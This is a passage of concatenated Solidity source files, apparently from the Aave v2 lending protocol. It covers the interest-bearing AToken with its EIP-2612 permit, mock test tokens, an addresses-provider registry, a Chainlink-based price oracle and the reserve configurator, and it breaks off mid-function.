_getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance);
}
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setName(string memory newName) internal {
_name = newName;
}
function _setSymbol(string memory newSymbol) internal {
_symbol = newSymbol;
}
function _setDecimals(uint8 newDecimals) internal {
_decimals = newDecimals;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {VariableDebtToken} from '../../protocol/tokenization/VariableDebtToken.sol';
contract MockVariableDebtToken is VariableDebtToken {
function getRevision() internal pure override returns (uint256) {
return 0x2;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {AToken} from '../../protocol/tokenization/AToken.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
contract MockAToken is AToken {
function getRevision() internal pure override returns (uint256) {
return 0x2;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IAToken} from '../../interfaces/IAToken.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol';
import {IncentivizedERC20} from './IncentivizedERC20.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
/**
* @title Aave ERC20 AToken
* @dev Implementation of the interest bearing token for the Aave protocol
* @author Aave
*/
contract AToken is
VersionedInitializable,
IncentivizedERC20('ATOKEN_IMPL', 'ATOKEN_IMPL', 0),
IAToken
{
using WadRayMath for uint256;
using SafeERC20 for IERC20;
bytes public constant EIP712_REVISION = bytes('1');
bytes32 internal constant EIP712_DOMAIN =
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)');
bytes32 public constant PERMIT_TYPEHASH =
keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)');
uint256 public constant ATOKEN_REVISION = 0x1;
/// @dev owner => next valid nonce to submit with permit()
mapping(address => uint256) public _nonces;
bytes32 public DOMAIN_SEPARATOR;
ILendingPool internal _pool;
address internal _treasury;
address internal _underlyingAsset;
IAaveIncentivesController internal _incentivesController;
modifier onlyLendingPool {
require(_msgSender() == address(_pool), Errors.CT_CALLER_MUST_BE_LENDING_POOL);
_;
}
function getRevision() internal pure virtual override returns (uint256) {
return ATOKEN_REVISION;
}
/**
* @dev Initializes the aToken
* @param pool The address of the lending pool where this aToken will be used
* @param treasury The address of the Aave treasury, receiving the fees on this aToken
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param aTokenDecimals The decimals of the aToken, same as the underlying asset's
* @param aTokenName The name of the aToken
* @param aTokenSymbol The symbol of the aToken
*/
function initialize(
ILendingPool pool,
address treasury,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 aTokenDecimals,
string calldata aTokenName,
string calldata aTokenSymbol,
bytes calldata params
) external override initializer {
uint256 chainId;
//solium-disable-next-line
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
EIP712_DOMAIN,
keccak256(bytes(aTokenName)),
keccak256(EIP712_REVISION),
chainId,
address(this)
)
);
_setName(aTokenName);
_setSymbol(aTokenSymbol);
_setDecimals(aTokenDecimals);
_pool = pool;
_treasury = treasury;
_underlyingAsset = underlyingAsset;
_incentivesController = incentivesController;
emit Initialized(
underlyingAsset,
address(pool),
treasury,
address(incentivesController),
aTokenDecimals,
aTokenName,
aTokenSymbol,
params
);
}
/**
* @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying`
* - Only callable by the LendingPool, as extra state updates there need to be managed
* @param user The owner of the aTokens, getting them burned
* @param receiverOfUnderlying The address that will receive the underlying
* @param amount The amount being burned
* @param index The new liquidity index of the reserve
**/
function burn(
address user,
address receiverOfUnderlying,
uint256 amount,
uint256 index
) external override onlyLendingPool {
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);
_burn(user, amountScaled);
IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount);
emit Transfer(user, address(0), amount);
emit Burn(user, receiverOfUnderlying, amount, index);
}
/**
* @dev Mints `amount` aTokens to `user`
* - Only callable by the LendingPool, as extra state updates there need to be managed
* @param user The address receiving the minted tokens
* @param amount The amount of tokens getting minted
* @param index The new liquidity index of the reserve
* @return `true` if the the previous balance of the user was 0
*/
function mint(
address user,
uint256 amount,
uint256 index
) external override onlyLendingPool returns (bool) {
uint256 previousBalance = super.balanceOf(user);
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);
_mint(user, amountScaled);
emit Transfer(address(0), user, amount);
emit Mint(user, amount, index);
return previousBalance == 0;
}
/**
* @dev Mints aTokens to the reserve treasury
* - Only callable by the LendingPool
* @param amount The amount of tokens getting minted
* @param index The new liquidity index of the reserve
*/
function mintToTreasury(uint256 amount, uint256 index) external override onlyLendingPool {
if (amount == 0) {
return;
}
address treasury = _treasury;
// Compared to the normal mint, we don't check for rounding errors.
// The amount to mint can easily be very small since it is a fraction of the interest ccrued.
// In that case, the treasury will experience a (very small) loss, but it
// wont cause potentially valid transactions to fail.
_mint(treasury, amount.rayDiv(index));
emit Transfer(address(0), treasury, amount);
emit Mint(treasury, amount, index);
}
/**
* @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken
* - Only callable by the LendingPool
* @param from The address getting liquidated, current owner of the aTokens
* @param to The recipient
* @param value The amount of tokens getting transferred
**/
function transferOnLiquidation(
address from,
address to,
uint256 value
) external override onlyLendingPool {
// Being a normal transfer, the Transfer() and BalanceTransfer() are emitted
// so no need to emit a specific event here
_transfer(from, to, value, false);
emit Transfer(from, to, value);
}
/**
* @dev Calculates the balance of the user: principal balance + interest generated by the principal
* @param user The user whose balance is calculated
* @return The balance of the user
**/
function balanceOf(address user)
public
view
override(IncentivizedERC20, IERC20)
returns (uint256)
{
return super.balanceOf(user).rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset));
}
/**
* @dev Returns the scaled balance of the user. The scaled balance is the sum of all the
* updated stored balance divided by the reserve's liquidity index at the moment of the update
* @param user The user whose balance is calculated
* @return The scaled balance of the user
**/
function scaledBalanceOf(address user) external view override returns (uint256) {
return super.balanceOf(user);
}
/**
* @dev Returns the scaled balance of the user and the scaled total supply.
* @param user The address of the user
* @return The scaled balance of the user
* @return The scaled balance and the scaled total supply
**/
function getScaledUserBalanceAndSupply(address user)
external
view
override
returns (uint256, uint256)
{
return (super.balanceOf(user), super.totalSupply());
}
/**
* @dev calculates the total supply of the specific aToken
* since the balance of every single user increases over time, the total supply
* does that too.
* @return the current total supply
**/
function totalSupply() public view override(IncentivizedERC20, IERC20) returns (uint256) {
uint256 currentSupplyScaled = super.totalSupply();
if (currentSupplyScaled == 0) {
return 0;
}
return currentSupplyScaled.rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset));
}
/**
* @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index)
* @return the scaled total supply
**/
function scaledTotalSupply() public view virtual override returns (uint256) {
return super.totalSupply();
}
/**
* @dev Returns the address of the Aave treasury, receiving the fees on this aToken
**/
function RESERVE_TREASURY_ADDRESS() public view returns (address) {
return _treasury;
}
/**
* @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH)
**/
function UNDERLYING_ASSET_ADDRESS() public view returns (address) {
return _underlyingAsset;
}
/**
* @dev Returns the address of the lending pool where this aToken is used
**/
function POOL() public view returns (ILendingPool) {
return _pool;
}
/**
* @dev For internal usage in the logic of the parent contract IncentivizedERC20
**/
function _getIncentivesController() internal view override returns (IAaveIncentivesController) {
return _incentivesController;
}
/**
* @dev Returns the address of the incentives controller contract
**/
function getIncentivesController() external view override returns (IAaveIncentivesController) {
return _getIncentivesController();
}
/**
* @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer
* assets in borrow(), withdraw() and flashLoan()
* @param target The recipient of the aTokens
* @param amount The amount getting transferred
* @return The amount transferred
**/
function transferUnderlyingTo(address target, uint256 amount)
external
override
onlyLendingPool
returns (uint256)
{
IERC20(_underlyingAsset).safeTransfer(target, amount);
return amount;
}
/**
* @dev Invoked to execute actions on the aToken side after a repayment.
* @param user The user executing the repayment
* @param amount The amount getting repaid
**/
function handleRepayment(address user, uint256 amount) external override onlyLendingPool {}
/**
* @dev implements the permit function as for
* https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md
* @param owner The owner of the funds
* @param spender The spender
* @param value The amount
* @param deadline The deadline timestamp, type(uint256).max for max deadline
* @param v Signature param
* @param s Signature param
* @param r Signature param
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(owner != address(0), 'INVALID_OWNER');
//solium-disable-next-line
require(block.timestamp <= deadline, 'INVALID_EXPIRATION');
uint256 currentValidNonce = _nonces[owner];
bytes32 digest =
keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline))
)
);
require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE');
_nonces[owner] = currentValidNonce.add(1);
_approve(owner, spender, value);
}
/**
* @dev Transfers the aTokens between two users. Validates the transfer
* (ie checks for valid HF after the transfer) if required
* @param from The source address
* @param to The destination address
* @param amount The amount getting transferred
* @param validate `true` if the transfer needs to be validated
**/
function _transfer(
address from,
address to,
uint256 amount,
bool validate
) internal {
address underlyingAsset = _underlyingAsset;
ILendingPool pool = _pool;
uint256 index = pool.getReserveNormalizedIncome(underlyingAsset);
uint256 fromBalanceBefore = super.balanceOf(from).rayMul(index);
uint256 toBalanceBefore = super.balanceOf(to).rayMul(index);
super._transfer(from, to, amount.rayDiv(index));
if (validate) {
pool.finalizeTransfer(underlyingAsset, from, to, amount, fromBalanceBefore, toBalanceBefore);
}
emit BalanceTransfer(from, to, amount, index);
}
/**
* @dev Overrides the parent _transfer to force validated transfer() and transferFrom()
* @param from The source address
* @param to The destination address
* @param amount The amount getting transferred
**/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
_transfer(from, to, amount, true);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IDelegationToken} from '../../interfaces/IDelegationToken.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {AToken} from './AToken.sol';
/**
* @title Aave AToken enabled to delegate voting power of the underlying asset to a different address
* @dev The underlying asset needs to be compatible with the COMP delegation interface
* @author Aave
*/
contract DelegationAwareAToken is AToken {
modifier onlyPoolAdmin {
require(
_msgSender() == ILendingPool(_pool).getAddressesProvider().getPoolAdmin(),
Errors.CALLER_NOT_POOL_ADMIN
);
_;
}
/**
* @dev Delegates voting power of the underlying asset to a `delegatee` address
* @param delegatee The address that will receive the delegation
**/
function delegateUnderlyingTo(address delegatee) external onlyPoolAdmin {
IDelegationToken(_underlyingAsset).delegate(delegatee);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title IDelegationToken
* @dev Implements an interface for tokens with delegation COMP/UNI compatible
* @author Aave
**/
interface IDelegationToken {
function delegate(address delegatee) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol';
import {
ILendingPoolAddressesProviderRegistry
} from '../../interfaces/ILendingPoolAddressesProviderRegistry.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
/**
* @title LendingPoolAddressesProviderRegistry contract
* @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets
* - Used for indexing purposes of Aave protocol's markets
* - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with,
* for example with `0` for the Aave main market and `1` for the next created
* @author Aave
**/
contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry {
mapping(address => uint256) private _addressesProviders;
address[] private _addressesProvidersList;
/**
* @dev Returns the list of registered addresses provider
* @return The list of addresses provider, potentially containing address(0) elements
**/
function getAddressesProvidersList() external view override returns (address[] memory) {
address[] memory addressesProvidersList = _addressesProvidersList;
uint256 maxLength = addressesProvidersList.length;
address[] memory activeProviders = new address[](maxLength);
for (uint256 i = 0; i < maxLength; i++) {
if (_addressesProviders[addressesProvidersList[i]] > 0) {
activeProviders[i] = addressesProvidersList[i];
}
}
return activeProviders;
}
/**
* @dev Registers an addresses provider
* @param provider The address of the new LendingPoolAddressesProvider
* @param id The id for the new LendingPoolAddressesProvider, referring to the market it belongs to
**/
function registerAddressesProvider(address provider, uint256 id) external override onlyOwner {
require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID);
_addressesProviders[provider] = id;
_addToAddressesProvidersList(provider);
emit AddressesProviderRegistered(provider);
}
/**
* @dev Removes a LendingPoolAddressesProvider from the list of registered addresses provider
* @param provider The LendingPoolAddressesProvider address
**/
function unregisterAddressesProvider(address provider) external override onlyOwner {
require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED);
_addressesProviders[provider] = 0;
emit AddressesProviderUnregistered(provider);
}
/**
* @dev Returns the id on a registered LendingPoolAddressesProvider
* @return The id or 0 if the LendingPoolAddressesProvider is not registered
*/
function getAddressesProviderIdByAddress(address addressesProvider)
external
view
override
returns (uint256)
{
return _addressesProviders[addressesProvider];
}
function _addToAddressesProvidersList(address provider) internal {
uint256 providersCount = _addressesProvidersList.length;
for (uint256 i = 0; i < providersCount; i++) {
if (_addressesProvidersList[i] == provider) {
return;
}
}
_addressesProvidersList.push(provider);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title LendingPoolAddressesProviderRegistry contract
* @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets
* - Used for indexing purposes of Aave protocol's markets
* - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with,
* for example with `0` for the Aave main market and `1` for the next created
* @author Aave
**/
interface ILendingPoolAddressesProviderRegistry {
event AddressesProviderRegistered(address indexed newAddress);
event AddressesProviderUnregistered(address indexed newAddress);
function getAddressesProvidersList() external view returns (address[] memory);
function getAddressesProviderIdByAddress(address addressesProvider)
external
view
returns (uint256);
function registerAddressesProvider(address provider, uint256 id) external;
function unregisterAddressesProvider(address provider) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol';
import {IChainlinkAggregator} from '../interfaces/IChainlinkAggregator.sol';
import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol';
/// @title AaveOracle
/// @author Aave
/// @notice Proxy smart contract to get the price of an asset from a price source, with Chainlink Aggregator
/// smart contracts as primary option
/// - If the returned price by a Chainlink aggregator is <= 0, the call is forwarded to a fallbackOracle
/// - Owned by the Aave governance system, allowed to add sources for assets, replace them
/// and change the fallbackOracle
contract AaveOracle is IPriceOracleGetter, Ownable {
using SafeERC20 for IERC20;
event WethSet(address indexed weth);
event AssetSourceUpdated(address indexed asset, address indexed source);
event FallbackOracleUpdated(address indexed fallbackOracle);
mapping(address => IChainlinkAggregator) private assetsSources;
IPriceOracleGetter private _fallbackOracle;
address public immutable WETH;
/// @notice Constructor
/// @param assets The addresses of the assets
/// @param sources The address of the source of each asset
/// @param fallbackOracle The address of the fallback oracle to use if the data of an
/// aggregator is not consistent
constructor(
address[] memory assets,
address[] memory sources,
address fallbackOracle,
address weth
) public {
_setFallbackOracle(fallbackOracle);
_setAssetsSources(assets, sources);
WETH = weth;
emit WethSet(weth);
}
/// @notice External function called by the Aave governance to set or replace sources of assets
/// @param assets The addresses of the assets
/// @param sources The address of the source of each asset
function setAssetSources(address[] calldata assets, address[] calldata sources)
external
onlyOwner
{
_setAssetsSources(assets, sources);
}
/// @notice Sets the fallbackOracle
/// - Callable only by the Aave governance
/// @param fallbackOracle The address of the fallbackOracle
function setFallbackOracle(address fallbackOracle) external onlyOwner {
_setFallbackOracle(fallbackOracle);
}
/// @notice Internal function to set the sources for each asset
/// @param assets The addresses of the assets
/// @param sources The address of the source of each asset
function _setAssetsSources(address[] memory assets, address[] memory sources) internal {
require(assets.length == sources.length, 'INCONSISTENT_PARAMS_LENGTH');
for (uint256 i = 0; i < assets.length; i++) {
assetsSources[assets[i]] = IChainlinkAggregator(sources[i]);
emit AssetSourceUpdated(assets[i], sources[i]);
}
}
/// @notice Internal function to set the fallbackOracle
/// @param fallbackOracle The address of the fallbackOracle
function _setFallbackOracle(address fallbackOracle) internal {
_fallbackOracle = IPriceOracleGetter(fallbackOracle);
emit FallbackOracleUpdated(fallbackOracle);
}
/// @notice Gets an asset price by address
/// @param asset The asset address
function getAssetPrice(address asset) public view override returns (uint256) {
IChainlinkAggregator source = assetsSources[asset];
if (asset == WETH) {
return 1 ether;
} else if (address(source) == address(0)) {
return _fallbackOracle.getAssetPrice(asset);
} else {
int256 price = IChainlinkAggregator(source).latestAnswer();
if (price > 0) {
return uint256(price);
} else {
return _fallbackOracle.getAssetPrice(asset);
}
}
}
/// @notice Gets a list of prices from a list of assets addresses
/// @param assets The list of assets addresses
function getAssetsPrices(address[] calldata assets) external view returns (uint256[] memory) {
uint256[] memory prices = new uint256[](assets.length);
for (uint256 i = 0; i < assets.length; i++) {
prices[i] = getAssetPrice(assets[i]);
}
return prices;
}
/// @notice Gets the address of the source for an asset address
/// @param asset The address of the asset
/// @return address The address of the source
function getSourceOfAsset(address asset) external view returns (address) {
return address(assetsSources[asset]);
}
/// @notice Gets the address of the fallback oracle
/// @return address The addres of the fallback oracle
function getFallbackOracle() external view returns (address) {
return address(_fallbackOracle);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IChainlinkAggregator {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
event NewRound(uint256 indexed roundId, address indexed startedBy);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol';
import {
InitializableImmutableAdminUpgradeabilityProxy
} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol';
import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {DataTypes} from '../libraries/types/DataTypes.sol';
import {IInitializableDebtToken} from '../../interfaces/IInitializableDebtToken.sol';
import {IInitializableAToken} from '../../interfaces/IInitializableAToken.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
import {ILendingPoolConfigurator} from '../../interfaces/ILendingPoolConfigurator.sol';
/**
* @title LendingPoolConfigurator contract
* @author Aave
* @dev Implements the configuration methods for the Aave protocol
**/
contract LendingPoolConfigurator is VersionedInitializable, ILendingPoolConfigurator {
using SafeMath for uint256;
using PercentageMath for uint256;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
ILendingPoolAddressesProvider internal addressesProvider;
ILendingPool internal pool;
modifier onlyPoolAdmin {
require(addressesProvider.getPoolAdmin() == msg.sender, Errors.CALLER_NOT_POOL_ADMIN);
_;
}
modifier onlyEmergencyAdmin {
require(
addressesProvider.getEmergencyAdmin() == msg.sender,
Errors.LPC_CALLER_NOT_EMERGENCY_ADMIN
);
_;
}
uint256 internal constant CONFIGURATOR_REVISION = 0x1;
function getRevision() internal pure override returns (uint256) {
return CONFIGURATOR_REVISION;
}
function initialize(ILendingPoolAddressesProvider provider) public initializer {
addressesProvider = provider;
pool = ILendingPool(addressesProvider.getLendingPool());
}
/**
* @dev Initializes reserves in batch
**/
function batchInitReserve(InitReserveInput[] calldata input) external onlyPoolAdmin {
ILendingPool cachedPool = pool;
for (uint256 i = 0; i < input.length; i++) {
_initReserve(cachedPool, input[i]);
}
}
function _initReserve(ILendingPool pool, InitReserveInput calldata input) internal {
address aTokenProxyAddress =
_initTokenWithProxy(
input.aTokenImpl,
abi.encodeWithSelector(
IInitializableAToken.initialize.selector,
pool,
input.treasury,
input.underlyingAsset,
IAaveIncentivesController(input.incentivesController),
input.underlyingAssetDecimals,
input.aTokenName,
input.aTokenSymbol,
input.params
)
);
address stableDebtTokenProxyAddress =
_initTokenWithProxy(
input.stableDebtTokenImpl,
abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
pool,
input.underlyingAsset,
IAaveIncentivesController(input.incentivesController),
input.underlyingAssetDecimals,
input.stableDebtTokenName,
input.stableDebtTokenSymbol,
input.params
)
);
address variableDebtTokenProxyAddress =
_initTokenWithProxy(
input.variableDebtTokenImpl,
abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
pool,
input.underlyingAsset,
IAaveIncentivesController(input.incentivesController),
input.underlyingAssetDecimals,
input.variableDebtTokenName,
input.variableDebtTokenSymbol,
input.params
)
);
pool.initReserve(
input.underlyingAsset,
aTokenProxyAddress,
stableDebtTokenProxyAddress,
variableDebtTokenProxyAddress,
input.interestRateStrategyAddress
);
DataTypes.ReserveConfigurationMap memory currentConfig =
pool.getConfiguration(input.underlyingAsset);
currentConfig.setDecimals(input.underlyingAssetDecimals);
currentConfig.setActive(true);
currentConfig.setFrozen(false);
pool.setConfiguration(input.underlyingAsset, currentConfig.data);
emit ReserveInitialized(
input.underlyingAsset,
aTokenProxyAddress,
stableDebtTokenProxyAddress,
variableDebtTokenProxyAddress,
input.interestRateStrategyAddress
);
}
/**
* @dev Updates the aToken implementation for the reserve
**/
function updateAToken(UpdateATokenInput calldata input) external onlyPoolAdmin {
ILendingPool cachedPool = pool;
DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset);
(, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory();
bytes memory encodedCall = abi.encodeWithSelector(
IInitializableAToken.initialize.selector,
cachedPool,
input.treasury,
input.asset,
input.incentivesController,
decimals,
input.name,
input.symbol,
input.params
);
_upgradeTokenImplementation(
reserveData.aTokenAddress,
input.implementation,
encodedCall
);
emit ATokenUpgraded(input.asset, reserveData.aTokenAddress, input.implementation);
}
/**
* @dev Updates the stable debt token implementation for the reserve
**/
function updateStableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin {
ILendingPool cachedPool = pool;
DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset);
(, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory();
bytes memory encodedCall = abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
cachedPool,
input.asset,
input.incentivesController,
decimals,
input.name,
input.symbol,
input.params
);
_upgradeTokenImplementation(
reserveData.stableDebtTokenAddress,
input.implementation,
encodedCall
);
emit StableDebtTokenUpgraded(
input.asset,
reserveData.stableDebtTokenAddress,
input.implementation
);
}
/**
* @dev Updates the variable debt token implementation for the asset
**/
function updateVariableDebtToken(UpdateDebtTokenInput calldata input)
external
onlyPoolAdmin
{
ILendingPool cachedPool = pool;
DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset);
(, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory();
bytes memory encodedCall = abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
cachedPool,
input.asset,
input.incentivesController,
decimals,
input.name,
input.symbol,
input.params
);
_upgradeTokenImplementation(
reserveData.variableDebtTokenAddress,
input.implementation,
encodedCall
);
emit VariableDebtTokenUpgraded(
input.asset,
reserveData.variableDebtTokenAddress,
input.implementation
);
}
/**
* @dev Enables borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
* @param stableBorrowRateEnabled True if stable borrow rate needs to be enabled by default on this reserve
**/
function enableBorrowingOnReserve(address asset, bool stableBorrowRateEnabled)
external
onlyPoolAdmin
{
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setBorrowingEnabled(true);
currentConfig.setStableRateBorrowingEnabled(stableBorrowRateEnabled);
pool.setConfiguration(asset, currentConfig.data);
emit BorrowingEnabledOnReserve(asset, stableBorrowRateEnabled);
}
/**
* @dev Disables borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
**/
function disableBorrowingOnReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setBorrowingEnabled(false);
pool.setConfiguration(asset, currentConfig.data);
emit BorrowingDisabledOnReserve(asset);
}
/**
* @dev Configures the reserve collateralization parameters
* all the values are expressed in percentages with two decimals of precision. A valid value is 10000, which means 100.00%
* @param asset The address of the underlying asset of the reserve
* @param ltv The loan to value of the asset when used as collateral
* @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized
* @param liquidationBonus The bonus liquidators receive to liquidate this asset. The values is always above 100%. A value of 105%
* means the liquidator will receive a 5% bonus
**/
function configureReserveAsCollateral(
address asset,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus
) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
//validation of the parameters: the LTV can
//only be lower or equal than the liquidation threshold
//(otherwise a loan against the asset would cause instantaneous liquidation)
require(ltv <= liquidationThreshold, Errors.LPC_INVALID_CONFIGURATION);
if (liquidationThreshold != 0) {
//liquidation bonus must be bigger than 100.00%, otherwise the liquidator would receive less
//collateral than needed to cover the debt
require(
liquidationBonus > PercentageMath.PERCENTAGE_FACTOR,
Errors.LPC_INVALID_CONFIGURATION
);
//if threshold * bonus is less than PERCENTAGE_FACTOR, it's guaranteed that at the moment
//a loan is taken there is enough collateral available to cover the liquidation bonus
require(
liquidationThreshold.percentMul(liquidationBonus) <= PercentageMath.PERCENTAGE_FACTOR,
Errors.LPC_INVALID_CONFIGURATION
);
} else {
require(liquidationBonus == 0, Errors.LPC_INVALID_CONFIGURATION);
//if the liquidation threshold is being set to 0,
// the reserve is being disabled as collateral. To do so,
//we need to ensure no liquidity is deposited
_checkNoLiquidity(asset);
}
currentConfig.setLtv(ltv);
currentConfig.setLiquidationThreshold(liquidationThreshold);
currentConfig.setLiquidationBonus(liquidationBonus);
pool.setConfiguration(asset, currentConfig.data);
emit CollateralConfigurationChanged(asset, ltv, liquidationThreshold, liquidationBonus);
}
/**
* @dev Enable stable rate borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
**/
function enableReserveStableRate(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setStableRateBorrowingEnabled(true);
pool.setConfiguration(asset, currentConfig.data);
emit StableRateEnabledOnReserve(asset);
}
/**
* @dev Disable stable rate borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
**/
function disableReserveStableRate(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setStableRateBorrowingEnabled(false);
pool.setConfiguration(asset, currentConfig.data);
emit StableRateDisabledOnReserve(asset);
}
/**
* @dev Activates a reserve
* @param asset The address of the underlying asset of the reserve
**/
function activateReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setActive(true);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveActivated(asset);
}
/**
* @dev Deactivates a reserve
* @param asset The address of the underlying asset of the reserve
**/
function deactivateReserve(address asset) external onlyPoolAdmin {
_checkNoLiquidity(asset);
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setActive(false);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveDeactivated(asset);
}
/**
* @dev Freezes a reserve. A frozen reserve doesn't allow any new deposit, borrow or rate swap
* but allows repayments, liquidations, rate rebalances and withdrawals
* @param asset The address of the underlying asset of the reserve
**/
function freezeReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setFrozen(true);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveFrozen(asset);
}
/**
* @dev Unfreezes a reserve
* @param asset The address of the underlying asset of the reserve
**/
function unfreezeReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setFrozen(false);
